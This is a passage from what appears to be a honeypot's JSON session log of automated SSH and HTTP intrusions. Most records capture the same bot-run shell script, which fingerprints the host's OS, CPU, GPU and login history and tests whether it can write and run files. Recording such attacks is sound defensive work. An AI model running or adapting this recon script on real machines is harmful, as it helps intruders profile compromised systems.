2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:01:38.532734+00:00",
  "ended_at": "2026-08-27T10:01:38.634450+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6c653f9a-ea21-4a3d-a906-36c6fb931974",
  "name": "silent-dusky-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 50803,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:00:06.176165+00:00",
  "ended_at": "2026-08-27T10:00:07.809908+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd25a654-2f22-4423-bca7-1b47635dbaab",
  "name": "thrifty-curious-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 38494,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:59:49.696960+00:00",
  "ended_at": "2026-08-27T09:59:49.799906+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "53d2f151-6261-4b0a-b6ef-19696a712833",
  "name": "vaulted-glacial-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 35438,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:58:01.881210+00:00",
  "ended_at": "2026-08-27T09:58:01.988753+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "38a90257-ecf7-4a84-bd26-252ad902f4b7",
  "name": "prairie-airy-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 60612,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:55:53.767263+00:00",
  "ended_at": "2026-08-27T09:55:53.871693+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "be0aef73-464d-4dfa-bd0d-282b2367103b",
  "name": "sleepy-faded-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 57586,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:54:04.811284+00:00",
  "ended_at": "2026-08-27T09:54:04.953361+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9da5d5df-dbe0-4ac6-885d-6c93be75f887",
  "name": "woven-proud-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 58084,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T09:52:19.143105+00:00",
  "ended_at": "2026-08-27T09:52:41.245255+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "078b32a4-b4b0-4df4-9dcc-a7206b1dc696",
  "name": "zealous-lofty-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 54566,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:52:17.290620+00:00",
  "ended_at": "2026-08-27T09:52:17.401711+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7fac593b-b34c-41ea-986c-793762bf24e6",
  "name": "early-nameless-agouti",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "34.60.131.131",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T09:51:42.536881+00:00",
  "ended_at": "2026-08-27T10:07:11.082958+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f5bd653-4086-430f-95e8-3b58e785fd24",
  "name": "windswept-fringed-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 51524,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter 